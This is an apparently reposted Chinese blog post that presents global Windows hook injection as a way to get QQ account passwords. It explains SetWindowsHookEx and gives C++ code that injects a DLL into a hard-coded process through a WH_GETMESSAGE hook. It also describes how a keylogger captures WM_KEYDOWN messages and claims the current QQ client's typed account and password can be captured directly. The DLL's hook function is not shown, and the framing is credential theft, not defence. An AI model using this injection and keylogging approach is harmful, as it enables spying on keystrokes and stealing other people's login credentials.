admin管理员组文章数量:1530923
全局钩子注入-获取QQ密码实现
全局钩子注入-获取QQ密码实现 水一篇✨✨✨✨✨
SetWindowsHookExA
将应用程序定义的挂钩过程安装到挂钩链中。您将安装一个挂钩程序来监视系统中某些类型的事件。这些事件与特定线程或与调用线程相同的桌面中的所有线程相关联。
HHOOK SetWindowsHookExA(
[in] int idHook,
[in] HOOKPROC lpfn,
[in] HINSTANCE hmod,
[in] DWORD dwThreadId
);
官网文档 :https://docs.microsoft/en-us/windows/win32/api/winuser/nf-winuser-setwindowshookexa
第一个参数表示钩子的类型,WH_GETMESSAGE表示安装消息队列的消息钩子(类型比较多 详情可以看文档),它可以监控发送到消息队列的消息。第二个参数表示钩子回调函数。第三个参数表示包含钩子回调函数的dll句柄,如果要设置全局钩子,则该参数必须指定dll模块句柄。第四个参数表示域钩子关联的线程id,0表示全局钩子。
UnhookWindowsHookEx
删除通过SetWindowsHookEx函数安装的钩子。
BOOL UnhookWindowsHookEx(
[in] HHOOK hhk
);
简单代码实现dll注入
#include <windows.h>
#include <iostream>
#include <TlHelp32.h>
HHOOK g_hook;
FARPROC procaddr;
HMODULE Hdll;
LRESULT GetMessPro(int code, WPARAM wParam, LPARAM lparam);
//定义注入函数
BOOL SetGlobalHook()
{
//要注入的进程id
int dwPid = 776;
//使用进程快照 遍历进程 获取线程id
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, dwPid);
THREADENTRY32 te32 = { sizeof(THREADENTRY32) };
BOOL bRet = Thread32First(hSnap, &te32);
if (bRet)
{
do
{
if (te32.th32OwnerProcessID == dwPid)
{
//安装钩子实现dll注入 第一个参数安装消息钩子 第二个参数使用的dll中的函数 第三个参数是dll句柄 第4个参数线程id 如果是全局的用0
g_hook = SetWindowsHookExW(WH_GETMESSAGE, (HOOKPROC)procaddr, (HINSTANCE)Hdll, te32.th32ThreadID);
break;
}
} while (Thread32Next(hSnap, &te32));
}
if (g_hook == NULL)
{
printf("SetGlobalHook error");
}
return TRUE;
}
void main()
{
//加载dll 获取函数地址 执行注入函数
Hdll = LoadLibraryW(L"ConsoleApplication4.dll");
procaddr = GetProcAddress(Hdll, "mess");
SetGlobalHook();
system("pause");
}
通过setWindowsHookEx()实现键盘记录器
实现原理当按下键盘,产生一个消息,按键消息加入到系统消息队列 操作系统从消息队列中取出消息,添加到相应的程序的消息队列中 ;
应用程序使用消息Hook从自身的消息队列中取出消息WM_KEYDOWN,调用消息处理函数。我们可以在系统消息队列之间添加消息钩子,从而使得在系统消息队列消息发给应用程序之前捕获到消息。
可以多次添加钩子,从而形成一个钩子链,可以依次调用函数。
QQ最新版可以直接获取输入的账号密码
<版权声明:本文标题:全局钩子注入-注入QQ获取账号密码实现 内容由热心网友自发贡献,该文观点仅代表作者本人, 转载请联系作者并注明出处:https://m.elefans.com/xitong/1726161543a1057820.html, 本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容,一经查实,本站将立刻删除。
发表评论